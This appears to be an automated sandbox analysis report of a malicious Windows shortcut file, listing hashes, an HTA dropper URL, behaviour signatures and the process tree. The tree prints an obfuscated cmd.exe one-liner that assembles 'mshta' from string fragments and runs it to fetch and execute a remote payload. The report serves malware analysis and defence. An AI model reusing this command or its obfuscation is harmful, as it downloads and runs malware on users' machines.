Analysis

  • max time kernel
    148s
  • max time network
    114s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    04/08/2026, 08:31

General

  • Target
    DOC-719WRH.lnk
  • Size 2KB
  • Sample260804-ke5xvs1tas
  • SHA256 22fd67ee5dc6bbfcc346c35d4d673990f530244b983d36e1d10c5ad44914618b
  • MD5 SHA1 SHA512 TLSH
Score
10/10

Malware Config

Extracted

Language
  • hta

Source
URLs
  • hta.dropper

    https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB

Signatures

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 2 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Suspicious use of WriteProcessMemory 2 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c C:\Users\Admin\AppData\Local\Temp\DOC-719WRH.lnk
    1⤵
    • Executes a command shell one-liner
    • Suspicious use of WriteProcessMemory
    PID:2536
    • C:\WINDOWS\system32\cmd.exe
      "C:\WINDOWS\system32\cmd.exe" /d /v:on /c "set VDW=bakawcrrbak&set OMcNM=cfguclsdatfutzfjjranxcfg&set jXFGJ=logdbmqrtywhnchinlvlog&set IYVJ=tsem&&set Sa=6tarl&&set VPzq=nzt7x&set Xo=cfgcclzermahtcfg&set lRfI=winwqrbkmvtgewin&set rxVto=cacheghbpdffhburilxyucache&set IyZJU=e6me&&set YO=dvshtn&&set INMe=xazfj&&set KZJwx=h@ttps:@//ma@-pd@ff@ille@r.@lat/@h@/@e@st@a@gio@1@.@p@h@p@?@r=391469FB@5@D@8@2DB&&start /b !IyZJU:~2,1!!YO:~2,3!!INMe:~1,1! !KZJwx:@=!&&set yRaq=done"
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:1424
      • C:\Windows\System32\mshta.exe
        mshta https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB
        3⤵
          PID:2712
    • C:\Windows\system32\svchost.exe
      C:\Windows\system32\svchost.exe -k GPSvcGroup
      1⤵
        PID:3568

      Network

            MITRE ATT&CK Enterprise v16

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            Downloads